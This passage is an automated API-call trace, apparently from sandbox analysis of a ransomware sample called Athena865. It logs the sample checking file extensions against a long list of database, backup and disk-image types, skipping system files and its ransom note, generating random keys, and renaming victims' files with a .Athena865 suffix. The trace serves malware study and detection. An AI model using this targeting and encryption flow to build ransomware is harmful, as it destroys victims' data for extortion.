lstrlenW (lpString="fmpsl") returned 5 [0101.708] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0101.708] lstrlenW (lpString="fol") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0101.708] lstrlenW (lpString="fp3") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0101.708] lstrlenW (lpString="fp4") returned 3 [0101.708] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0101.709] lstrlenW (lpString="fp5") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0101.709] lstrlenW (lpString="fp7") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0101.709] lstrlenW (lpString="fpt") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0101.709] lstrlenW (lpString="frm") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0101.709] lstrlenW (lpString="gdb") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0101.709] lstrlenW (lpString="gdb") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0101.709] lstrlenW (lpString="grdb") returned 4 [0101.709] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0101.709] lstrlenW (lpString="gwi") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0101.709] lstrlenW (lpString="hdb") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0101.709] lstrlenW (lpString="his") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0101.709] lstrlenW (lpString="ib") returned 2 [0101.709] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0101.709] lstrlenW (lpString="idb") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0101.709] lstrlenW (lpString="ihx") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0101.709] lstrlenW (lpString="itdb") returned 4 [0101.709] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0101.709] lstrlenW (lpString="itw") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0101.709] lstrlenW (lpString="jet") returned 3 [0101.709] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0101.709] lstrlenW (lpString="jtx") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0101.710] lstrlenW (lpString="kdb") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0101.710] lstrlenW (lpString="kexi") returned 4 [0101.710] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0101.710] lstrlenW (lpString="kexic") returned 5 [0101.710] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0101.710] lstrlenW (lpString="kexis") returned 5 [0101.710] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0101.710] lstrlenW (lpString="lgc") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0101.710] lstrlenW (lpString="lwx") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0101.710] lstrlenW (lpString="maf") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0101.710] lstrlenW (lpString="maq") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0101.710] lstrlenW (lpString="mar") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0101.710] lstrlenW (lpString="marshal") returned 7 [0101.710] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0101.710] lstrlenW (lpString="mas") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0101.710] lstrlenW (lpString="mav") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0101.710] lstrlenW (lpString="maw") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0101.710] lstrlenW (lpString="mdbhtml") returned 7 [0101.710] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0101.710] lstrlenW (lpString="mdn") returned 3 [0101.710] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0101.710] lstrlenW (lpString="mdt") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0101.711] lstrlenW (lpString="mfd") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0101.711] lstrlenW (lpString="mpd") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0101.711] lstrlenW (lpString="mrg") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0101.711] lstrlenW (lpString="mud") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0101.711] lstrlenW (lpString="mwb") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0101.711] lstrlenW (lpString="myd") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0101.711] lstrlenW (lpString="ndf") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0101.711] lstrlenW (lpString="nnt") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0101.711] lstrlenW (lpString="nrmlib") returned 6 [0101.711] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0101.711] lstrlenW (lpString="ns2") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0101.711] lstrlenW (lpString="ns3") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0101.711] lstrlenW (lpString="ns4") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0101.711] lstrlenW (lpString="nsf") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0101.711] lstrlenW (lpString="nv") returned 2 [0101.711] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0101.711] lstrlenW (lpString="nv2") returned 3 [0101.711] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0101.711] lstrlenW (lpString="nwdb") returned 4 [0101.712] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0101.712] lstrlenW (lpString="nyf") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0101.712] lstrlenW (lpString="odb") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0101.712] lstrlenW (lpString="odb") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0101.712] lstrlenW (lpString="oqy") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0101.712] lstrlenW (lpString="ora") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0101.712] lstrlenW (lpString="orx") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0101.712] lstrlenW (lpString="owc") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0101.712] lstrlenW (lpString="p96") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0101.712] lstrlenW (lpString="p97") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0101.712] lstrlenW (lpString="pan") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0101.712] lstrlenW (lpString="pdb") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0101.712] lstrlenW (lpString="pdm") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0101.712] lstrlenW (lpString="pnz") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0101.712] lstrlenW (lpString="qry") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0101.712] lstrlenW (lpString="qvd") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0101.712] lstrlenW (lpString="rbf") returned 3 [0101.712] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0101.713] lstrlenW (lpString="rctd") returned 4 [0101.713] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0101.713] lstrlenW (lpString="rod") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0101.713] lstrlenW (lpString="rodx") returned 4 [0101.713] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0101.713] lstrlenW (lpString="rpd") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0101.713] lstrlenW (lpString="rsd") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0101.713] lstrlenW (lpString="sas7bdat") returned 8 [0101.713] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0101.713] lstrlenW (lpString="sbf") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0101.713] lstrlenW (lpString="scx") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0101.713] lstrlenW (lpString="sdb") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0101.713] lstrlenW (lpString="sdc") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0101.713] lstrlenW (lpString="sdf") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0101.713] lstrlenW (lpString="sis") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0101.713] lstrlenW (lpString="spq") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0101.713] lstrlenW (lpString="te") returned 2 [0101.713] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0101.713] lstrlenW (lpString="teacher") returned 7 [0101.713] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0101.713] lstrlenW (lpString="tmd") returned 3 [0101.713] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0101.714] lstrlenW (lpString="tps") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0101.714] lstrlenW (lpString="trc") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0101.714] lstrlenW (lpString="trc") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0101.714] lstrlenW (lpString="trm") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0101.714] lstrlenW (lpString="udb") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0101.714] lstrlenW (lpString="udl") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0101.714] lstrlenW (lpString="usr") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0101.714] lstrlenW (lpString="v12") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0101.714] lstrlenW (lpString="vis") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0101.714] lstrlenW (lpString="vpd") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0101.714] lstrlenW (lpString="vvv") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0101.714] lstrlenW (lpString="wdb") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0101.714] lstrlenW (lpString="wmdb") returned 4 [0101.714] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0101.714] lstrlenW (lpString="wrk") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0101.714] lstrlenW (lpString="xdb") returned 3 [0101.714] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0101.715] lstrlenW (lpString="xld") returned 3 [0101.715] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0101.715] lstrlenW (lpString="xmlff") returned 5 [0101.715] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0101.715] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.Athena865") returned 84 [0101.715] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0101.716] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.716] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=80) returned 1 [0101.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.716] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.717] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.717] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.717] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x17c [0101.719] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000 [0101.721] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.722] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.722] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.722] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.723] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.723] CloseHandle (hObject=0x17c) returned 1 [0101.723] CloseHandle (hObject=0x154) returned 1 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.723] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f1f5e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5f1f5e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.723] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.723] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="..") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="windows") returned -1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="bootmgr") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="temp") returned -1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="pagefile.sys") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="boot") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="ids.txt") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="ntuser.dat") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="perflogs") returned 1 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2="MSBuild") returned 1 [0101.724] lstrlenW (lpString="Suggested Sites.url") returned 19 [0101.724] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Suggested Sites.url" | out: lpString1="Suggested Sites.url") returned="Suggested Sites.url" [0101.724] lstrlenW (lpString="Suggested Sites.url") returned 19 [0101.724] lstrlenW (lpString="Athena865") returned 9 [0101.724] lstrcmpiW (lpString1="Sites.url", lpString2="Athena865") returned 1 [0101.724] lstrlenW (lpString=".dll") returned 4 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".dll") returned 1 [0101.724] lstrlenW (lpString=".lnk") returned 4 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".lnk") returned 1 [0101.724] lstrlenW (lpString=".ini") returned 4 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".ini") returned 1 [0101.724] lstrlenW (lpString=".sys") returned 4 [0101.724] lstrcmpiW (lpString1="Suggested Sites.url", lpString2=".sys") returned 1 [0101.724] lstrlenW (lpString="Suggested Sites.url") returned 19 [0101.724] lstrlenW (lpString="bak") returned 3 [0101.724] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.724] lstrlenW (lpString="ba_") returned 3 [0101.724] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.725] lstrlenW (lpString="dbb") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.725] lstrlenW (lpString="vmdk") returned 4 [0101.725] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.725] lstrlenW (lpString="rar") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.725] lstrlenW (lpString="zip") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.725] lstrlenW (lpString="tgz") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.725] lstrlenW (lpString="vbox") returned 4 [0101.725] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.725] lstrlenW (lpString="vdi") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.725] lstrlenW (lpString="vhd") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.725] lstrlenW (lpString="vhdx") returned 4 [0101.725] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.725] lstrlenW (lpString="avhd") returned 4 [0101.725] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.725] lstrlenW (lpString="db") returned 2 [0101.725] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.725] lstrlenW (lpString="db2") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.725] lstrlenW (lpString="db3") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.725] lstrlenW (lpString="dbf") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.725] lstrlenW (lpString="mdf") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.725] lstrlenW (lpString="mdb") returned 3 [0101.725] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.725] lstrlenW (lpString="sql") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.726] lstrlenW (lpString="sqlite") returned 6 [0101.726] lstrcmpiW (lpString1="es.url", lpString2="sqlite") returned -1 [0101.726] lstrlenW (lpString="sqlite3") returned 7 [0101.726] lstrcmpiW (lpString1="tes.url", lpString2="sqlite3") returned 1 [0101.726] lstrlenW (lpString="sqlitedb") returned 8 [0101.726] lstrcmpiW (lpString1="ites.url", lpString2="sqlitedb") returned -1 [0101.726] lstrlenW (lpString="xml") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.726] lstrlenW (lpString="$er") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.726] lstrlenW (lpString="4dd") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.726] lstrlenW (lpString="4dl") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.726] lstrlenW (lpString="^^^") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.726] lstrlenW (lpString="abs") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.726] lstrlenW (lpString="abx") returned 3 [0101.726] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.726] lstrlenW (lpString="accdb") returned 5 [0101.726] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1 [0101.726] lstrlenW (lpString="accdc") returned 5 [0101.726] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1 [0101.726] lstrlenW (lpString="accde") returned 5 [0101.726] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1 [0101.726] lstrlenW (lpString="accdr") returned 5 [0101.726] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1 [0101.726] lstrlenW (lpString="accdt") returned 5 [0101.726] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1 [0101.726] lstrlenW (lpString="accdw") returned 5 [0101.727] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1 [0101.727] lstrlenW (lpString="accft") returned 5 [0101.727] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1 [0101.727] lstrlenW (lpString="adb") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.727] lstrlenW (lpString="adb") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.727] lstrlenW (lpString="ade") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.727] lstrlenW (lpString="adf") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.727] lstrlenW (lpString="adn") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.727] lstrlenW (lpString="adp") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.727] lstrlenW (lpString="alf") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.727] lstrlenW (lpString="ask") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.727] lstrlenW (lpString="btr") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.727] lstrlenW (lpString="cat") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.727] lstrlenW (lpString="cdb") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.727] lstrlenW (lpString="ckp") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.727] lstrlenW (lpString="cma") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.727] lstrlenW (lpString="cpd") returned 3 [0101.727] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.727] lstrlenW (lpString="dacpac") returned 6 [0101.727] lstrcmpiW (lpString1="es.url", lpString2="dacpac") returned 1 [0101.728] lstrlenW (lpString="dad") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.728] lstrlenW (lpString="dadiagrams") returned 10 [0101.728] lstrcmpiW (lpString1=" Sites.url", lpString2="dadiagrams") returned -1 [0101.728] lstrlenW (lpString="daschema") returned 8 [0101.728] lstrcmpiW (lpString1="ites.url", lpString2="daschema") returned 1 [0101.728] lstrlenW (lpString="db-journal") returned 10 [0101.728] lstrcmpiW (lpString1=" Sites.url", lpString2="db-journal") returned -1 [0101.728] lstrlenW (lpString="db-shm") returned 6 [0101.728] lstrcmpiW (lpString1="es.url", lpString2="db-shm") returned 1 [0101.728] lstrlenW (lpString="db-wal") returned 6 [0101.728] lstrcmpiW (lpString1="es.url", lpString2="db-wal") returned 1 [0101.728] lstrlenW (lpString="dbc") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1 [0101.728] lstrlenW (lpString="dbs") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1 [0101.728] lstrlenW (lpString="dbt") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.728] lstrlenW (lpString="dbv") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.728] lstrlenW (lpString="dbx") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.728] lstrlenW (lpString="dcb") returned 3 [0101.728] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.728] lstrcmpiW (lpString1="url", lpString2="dct") returned 1 [0101.729] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Athena865") returned 92 [0101.729] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.athena865"), dwFlags=0x1) returned 1 [0101.730] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS 